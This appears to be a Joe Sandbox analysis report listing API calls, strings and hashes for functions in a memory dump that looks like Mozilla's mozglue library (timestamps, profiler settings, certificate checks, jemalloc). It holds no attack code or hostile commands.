EnterCriticalSection.KERNEL32(6C84F688), ref: 6C7C377E
LeaveCriticalSection.KERNEL32(6C84F688), ref: 6C7C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C7C37C4
EnterCriticalSection.KERNEL32(6C84F688), ref: 6C7C37CB
LeaveCriticalSection.KERNEL32(6C84F688), ref: 6C7C3801
__aulldiv.LIBCMT ref: 6C7C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C7C3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C7C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C7C394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C7C35DB
AuthcAMDenti, xrefs: 6C7C3946
GTC, xrefs: 6C7C3912
GenuntelineI, xrefs: 6C7C3639
QPC, xrefs: 6C7C38FC

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: a001de25f689465f0412f8e5361b9a431cf8cb8bd9861aef2bba29e72b3c3abf
Instruction ID: 726325df0306b38851b4dd3944a0fba6cced23c1c7866ee29956844ecd65b1e8
Opcode Fuzzy Hash: a001de25f689465f0412f8e5361b9a431cf8cb8bd9861aef2bba29e72b3c3abf
Instruction Fuzzy Hash: 18B18F71B092119FDB28EF28C94465ABBF5AB9A70CF04C93EE899D3750D7309804CBD2

Function 6C7DC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C7DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C7DC969
GetSystemInfo.KERNEL32(?), ref: 6C7DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C7DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C7DC9E2

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: aa3bbab7498857dcf6c099252dafd361fa7dd79eb2277901f56c593daf1989e6
Instruction ID: f10c711887235462a7002233ee64a00ab7a97391d55089033f4d66b04235c1d7
Opcode Fuzzy Hash: aa3bbab7498857dcf6c099252dafd361fa7dd79eb2277901f56c593daf1989e6
Instruction Fuzzy Hash: D92107317416146BDB24BB64DD88BAE77B9AF4630EF61413EF947A7B80EB606800C7D0

Function 6C7C3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C7C3095

Part of subcall function 6C7C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C84F688,00001000), ref: 6C7C35D5
Part of subcall function 6C7C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7C35E0
Part of subcall function 6C7C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C7C35FD
Part of subcall function 6C7C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C7C363F
Part of subcall function 6C7C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C7C369F
Part of subcall function 6C7C35A0: __aulldiv.LIBCMT ref: 6C7C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7C309F

Part of subcall function 6C7E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7E56EE,?,00000001), ref: 6C7E5B85
Part of subcall function 6C7E5B50: EnterCriticalSection.KERNEL32(6C84F688,?,?,?,6C7E56EE,?,00000001), ref: 6C7E5B90
Part of subcall function 6C7E5B50: LeaveCriticalSection.KERNEL32(6C84F688,?,?,?,6C7E56EE,?,00000001), ref: 6C7E5BD8
Part of subcall function 6C7E5B50: GetTickCount64.KERNEL32 ref: 6C7E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C7C30BE

Part of subcall function 6C7C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C7C3127
Part of subcall function 6C7C30F0: __aulldiv.LIBCMT ref: 6C7C3140

Part of subcall function 6C7FAB2A: __onexit.LIBCMT ref: 6C7FAB30

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 9ac62fdbbd14a9502173d98b7a67d035f131e2c4535e911811557293918afffe
Instruction ID: 0221115d1d62f70d624ec1ed018caa9203a41f8c10b635980dcedba1583d6b26
Opcode Fuzzy Hash: 9ac62fdbbd14a9502173d98b7a67d035f131e2c4535e911811557293918afffe
Instruction Fuzzy Hash: 5BF0A232E2074896CB20EF3499851E6B370AF6A21CB10972EE85853611FB2065D8C3C6

Non-executed Functions

Function 6C7D5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C7D5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D54BE
__Init_thread_footer.LIBCMT ref: 6C7D54DB

Part of subcall function 6C7FAB3F: EnterCriticalSection.KERNEL32(6C84E370,?,?,6C7C3527,6C84F6CC,?,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB49
Part of subcall function 6C7FAB3F: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C3527,6C84F6CC,?,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FAB7C

Part of subcall function 6C7FCBE8: GetCurrentProcess.KERNEL32(?,6C7C31A7), ref: 6C7FCBF1
Part of subcall function 6C7FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7C31A7), ref: 6C7FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C7D54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C7D5516
GetCurrentThreadId.KERNEL32 ref: 6C7D556A
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C7D5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C7D5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C7D5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C7D55E6
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C7D5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7D5616

Part of subcall function 6C7FAB89: EnterCriticalSection.KERNEL32(6C84E370,?,?,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB94
Part of subcall function 6C7FAB89: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FABD1

GetCurrentThreadId.KERNEL32 ref: 6C7D563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7D5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C7D567C
free.MOZGLUE(?), ref: 6C7D56AE

Part of subcall function 6C7E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7E5EDB
Part of subcall function 6C7E5E90: memset.VCRUNTIME140(6C827765,000000E5,55CCCCCC), ref: 6C7E5F27
Part of subcall function 6C7E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7E5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C7D56E8
GetCurrentThreadId.KERNEL32 ref: 6C7D5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C7D570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C7D5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C7D574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C7D576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C7D5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C7D57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C7D57CA

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C7D54B9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C7D548D
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C7D5766
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C7D5D1C
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C7D57AE
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C7D5C56
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C7D5791
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C7D56E3
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C7D54A3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C7D5D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C7D5B38
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C7D5717
MOZ_BASE_PROFILER_HELP, xrefs: 6C7D5511
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C7D5D24
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C7D5BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C7D5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C7D584E
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C7D5749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C7D5AC9
MOZ_PROFILER_STARTUP, xrefs: 6C7D55E1
GeckoMain, xrefs: 6C7D5554, 6C7D55D5
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C7D57C5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C7D5D2B
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C7D5CF9
[I %d/%d] profiler_init, xrefs: 6C7D564E

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 02ee7b8313294e77a63e2d0d71b7352232358386bae6d55ad05b19f59315388d
Instruction ID: e0ca7dd9c069360762889def3c481704706c8e1f106aa139b9d57c0ffd34b5fb
Opcode Fuzzy Hash: 02ee7b8313294e77a63e2d0d71b7352232358386bae6d55ad05b19f59315388d
Instruction Fuzzy Hash: 792229B0A047049FD720AF789A4876B7BB4EF4635CF158939E85997B41EB30E448CB93

Function 6C7D6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C7D6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C7D6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C7D6D26

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C7D6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C7D6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C7D6D73
free.MOZGLUE(00000000), ref: 6C7D6D80
CertGetNameStringW.CRYPT32 ref: 6C7D6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C7D6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7D6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C7D6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C7D6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C7D6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C7D6E34
CreateFileW.KERNEL32 ref: 6C7D6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C7D6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7D6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C7D709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C7D7103
free.MOZGLUE(00000000), ref: 6C7D7153
CloseHandle.KERNEL32(?), ref: 6C7D7176
__Init_thread_footer.LIBCMT ref: 6C7D7209
__Init_thread_footer.LIBCMT ref: 6C7D723A
__Init_thread_footer.LIBCMT ref: 6C7D726B
__Init_thread_footer.LIBCMT ref: 6C7D729C
__Init_thread_footer.LIBCMT ref: 6C7D72DC
__Init_thread_footer.LIBCMT ref: 6C7D730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C7D73C2
VerSetConditionMask.NTDLL ref: 6C7D73F3
VerSetConditionMask.NTDLL ref: 6C7D73FF
VerSetConditionMask.NTDLL ref: 6C7D7406
VerSetConditionMask.NTDLL ref: 6C7D740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C7D741A
moz_xmalloc.MOZGLUE(?), ref: 6C7D755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7D7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C7D7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7D7598
free.MOZGLUE(00000000), ref: 6C7D75AC

Part of subcall function 6C7FAB89: EnterCriticalSection.KERNEL32(6C84E370,?,?,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284), ref: 6C7FAB94
Part of subcall function 6C7FAB89: LeaveCriticalSection.KERNEL32(6C84E370,?,6C7C34DE,6C84F6CC,?,?,?,?,?,?,?,6C7C3284,?,?,6C7E56F6), ref: 6C7FABD1

Strings

(, xrefs: 6C7D768A
SHA256, xrefs: 6C7D6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C7D72C8
wintrust.dll, xrefs: 6C7D72CD

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 97a6fb5a9f54e99272e20e7a27d8e5721c17bbd2e01d978f1842b6f757f99ce4
Instruction ID: 64b7b861638b49f78de8c13c3b96a4fd572736f89bef14c38e3fc6d41cf3ed34
Opcode Fuzzy Hash: 97a6fb5a9f54e99272e20e7a27d8e5721c17bbd2e01d978f1842b6f757f99ce4
Instruction Fuzzy Hash: 6F52D771A002149BEB31DF24CE84BAA77B8FB5570CF1185A9E9099B640DB70BF85CF91

Function 6C7F6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C84E7DC), ref: 6C7F7019
LeaveCriticalSection.KERNEL32(6C84E7DC), ref: 6C7F7061
EnterCriticalSection.KERNEL32(?), ref: 6C7F71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C7F721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C7F723E
EnterCriticalSection.KERNEL32(?), ref: 6C7F726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C7F72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C7F733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C7F73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C7F961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7F9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7F9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7F964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7F96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7F96DB
AcquireSRWLockExclusive.KERNEL32(6C84E804), ref: 6C7F9747
GetSystemInfo.KERNEL32(?), ref: 6C7F9792
__Init_thread_footer.LIBCMT ref: 6C7F97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C84E810,00000040), ref: 6C7F97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E7B8,00001388), ref: 6C7F9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E744,00001388), ref: 6C7F984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E784,00001388), ref: 6C7F9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C84E7DC,00001388), ref: 6C7F9895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C7F99BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C7F99A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C7F9993
: (malloc) Unsupported character in malloc options: ', xrefs: 6C7F9BF4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C7F9933, 6C7F9A33, 6C7F9A4E
MALLOC_OPTIONS, xrefs: 6C7F97CA
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C7F99D2
<jemalloc>, xrefs: 6C7F9B33, 6C7F9BE3
Compile-time page size does not divide the runtime one., xrefs: 6C7F9B38
MOZ_CRASH(), xrefs: 6C7F9B42

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 4a232b58d6766744b9dcd4c3838dcf944953dfbfb9fa4b2d3a073c379e9bf5ca
Instruction ID: 75ca8c39ce0116d55e934cb38462ece280b53d862c2d41255c46bb23910cee8e
Opcode Fuzzy Hash: 4a232b58d6766744b9dcd4c3838dcf944953dfbfb9fa4b2d3a073c379e9bf5ca
Instruction Fuzzy Hash: 42536D71A057018FD714CF29C680615FBE1BF8A328F29C6ADE8799B791D771E842CB81

Function 6C800DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C800F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C800F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C800FB7
EnterCriticalSection.KERNEL32(?), ref: 6C800FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C801031
LeaveCriticalSection.KERNEL32(?), ref: 6C8010D0
EnterCriticalSection.KERNEL32(?), ref: 6C80117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C801C39
EnterCriticalSection.KERNEL32(6C84E744), ref: 6C803391
LeaveCriticalSection.KERNEL32(6C84E744), ref: 6C8033CD
LeaveCriticalSection.KERNEL32(?), ref: 6C803431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C803437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C8037BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C8037A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C803793
: (malloc) Unsupported character in malloc options: ', xrefs: 6C803A02
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C803559, 6C80382D, 6C803848
MALLOC_OPTIONS, xrefs: 6C8035FE
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C8037D2
<jemalloc>, xrefs: 6C803941, 6C8039F1
Compile-time page size does not divide the runtime one., xrefs: 6C803946
MOZ_CRASH(), xrefs: 6C803950

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 9d97974ec05059851c0853171b710662c911b988f9965eb810230d63e3b2dec3
Instruction ID: 88356292e6e050572838332d920e87de35d8a3d6208dfd7d2bc1ebcc28d93197
Opcode Fuzzy Hash: 9d97974ec05059851c0853171b710662c911b988f9965eb810230d63e3b2dec3
Instruction Fuzzy Hash: 65537E71B057018FD724CF28CA40616FBE1BF86328F29CA6DE8699B791D775E841CB81

Function 6C8255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C7FE1A5), ref: 6C825606
